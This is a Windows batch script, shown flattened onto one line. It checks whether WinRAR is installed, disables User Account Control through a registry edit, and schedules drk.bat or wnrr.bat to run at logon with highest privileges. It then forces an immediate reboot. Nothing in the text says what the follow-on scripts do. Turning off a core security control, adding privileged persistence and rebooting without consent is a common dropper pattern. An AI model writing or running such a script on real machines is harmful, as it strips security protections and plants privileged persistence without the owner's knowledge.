@echo off rem --- Check if WinRAR is already installed --- if exist "C:\Program Files\WinRAR\WinRAR.exe" ( echo WinRAR is already installed, skipping WinRAR installation and scheduling drk.bat... rem --- Disable UAC --- echo Disabling UAC... reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f echo UAC has been disabled. Please reboot for changes to take effect. rem --- Get the current directory (where this bat file is located) --- set "current_dir=%~dp0" rem --- Add task to Task Scheduler to run drk.bat after reboot --- echo Adding task to Task Scheduler to run drk.bat after reboot... schtasks /create /tn "RunDrkBat" /tr "\"%current_dir%drk.bat\"" /sc onlogon /ru "%username%" /rl highest /f rem --- Reboot the computer --- echo Rebooting the computer... shutdown /r /t 0 exit /b ) else ( echo WinRAR is not installed, scheduling wnrr.bat... rem --- Disable UAC --- echo Disabling UAC... reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f echo UAC has been disabled. Please reboot for changes to take effect. rem --- Get the current directory (where this bat file is located) --- set "current_dir=%~dp0" rem --- Add task to Task Scheduler to run wnrr.bat after reboot --- echo Adding task to Task Scheduler to run wnrr.bat after reboot... schtasks /create /tn "RunWnrrBat" /tr "\"%current_dir%wnrr.bat\"" /sc onlogon /ru "%username%" /rl highest /f rem --- Reboot the computer --- echo Rebooting the computer... shutdown /r /t 0 exit /b )